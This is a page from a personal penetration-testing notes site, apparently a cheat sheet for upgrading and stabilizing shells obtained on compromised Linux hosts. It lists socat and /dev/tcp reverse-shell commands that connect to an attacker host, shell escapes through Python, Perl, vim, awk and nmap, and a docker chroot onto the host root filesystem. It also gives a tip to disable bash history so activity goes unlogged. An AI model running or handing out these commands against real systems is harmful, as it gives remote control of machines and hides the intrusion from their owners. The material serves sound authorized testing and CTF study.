Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS
      • FTP
      • IMAP
      • IPMI
      • MSSQL
      • MySQL
      • NFS
      • Oracle TNS
      • POP3
      • RDP
      • SMB
      • SMTP
      • SNMP
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 📂Active Directory
      • Initial Access
      • Internal Enumeration & Lateral Movement
      • Privilege Escalation to Domain Admin using Known Exploits
      • Domain Trusts
    • 🐧Linux Privilege Escalation
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Busqueda
      • Help
      • Sau
      • Updown
      • Broker
      • Monitored
      • Sea
      • Nibbles
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • CheatSheet
    • OSCP
      • OSCP Preparation
      • Cheatsheets
Powered by GitBook
On this page
  • 🔧 Python Methods
  • 🐍 Socat Methods (from attacker and victim)
  • 🦀 Script Method (if available on the system)
  • 🧠 Regaining Full Terminal Control
  • 📦 Ensuring Terminal Configuration
  • 🖼 Adjusting Window Size (prevents errors when using programs like nano, htop, etc.)
  • 📟 /dev/tcp and Bash Method (interactive reverse shell)
  • 🐚 Shell Upgrade with System Commands (stty and export)
  • 🧬 With Perl
  • ☕ With Java
  • 🦥 With Lua
  • 🧱 With Awk
  • 🧪 With Tcl
  • 🧞‍♂️ With vi or vim (command mode)
  • 🖋️ With nmap (if it has scripting with --interactive)
  • 💾 With Docker / Chroot / chsh if you have permissions
  • 🧠 Useful Tips
  1. Pentest Notes
  2. Utilities, Scripts and Payloads

Spawn TTY Shells

🔧 Python Methods

python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

You can also use:

python -c 'import os; os.system("/bin/bash")'

🐍 Socat Methods (from attacker and victim)

On attacker (listener):

socat file:`tty`,raw,echo=0 tcp-listen:4444

On victim (reverse shell):

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444

🦀 Script Method (if available on the system)

script /dev/null -c bash

🧠 Regaining Full Terminal Control

  1. Suspend with Ctrl + Z

  2. On the attacker host:

stty raw -echo; fg reset xterm

📦 Ensuring Terminal Configuration

echo $TERM # Verify terminal type
export TERM=xterm # Set terminal type if needed
export SHELL=/bin/bash # Force bash if possible

🖼 Adjusting Window Size (prevents errors when using programs like nano, htop, etc.)

  1. On the attacker host:

stty size # Example output: 30 127
  1. On the remote shell:

stty rows 30 columns 127

📟 /dev/tcp and Bash Method (interactive reverse shell)

bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

Once connected, you can upgrade the shell with stty (explained below).

🐚 Shell Upgrade with System Commands (stty and export)

Once you use any of the above methods (like python -c 'pty.spawn(...)'), you can further improve it with:

CTRL+Z   # Pause the shell and return to your local terminal
stty raw -echo; fg

Then, type:

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <num>    # Adjust size if needed

🧬 With Perl

perl -e 'exec "/bin/bash";'

Or with pseudo-terminal:

perl -e 'use POSIX; POSIX::setsid(); exec "/bin/bash";'

☕ With Java

If Runtime.exec() is accessible:

Runtime.getRuntime().exec("/bin/bash");

(Generally not very useful manually, but useful in Java app exploitation).

🦥 With Lua

lua -e "os.execute('/bin/bash')"

🧱 With Awk

awk 'BEGIN {system("/bin/bash")}'

🧪 With Tcl

tclsh
exec /bin/bash

🧞‍♂️ With vi or vim (command mode)

vim
:!bash

Or:

vim -c ':!bash'

🖋️ With nmap (if it has scripting with --interactive)

nmap --interactive
!sh

💾 With Docker / Chroot / chsh if you have permissions

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Or if you can change your shell:

chsh -s /bin/bash

🧠 Useful Tips

If you have a shell without colors or history, export:

export TERM=xterm-256color
export HISTFILE=/dev/null

To check if a TTY is assigned:

tty
PreviousPassword AttacksNextCTFs

Last updated 17 days ago

📝
👾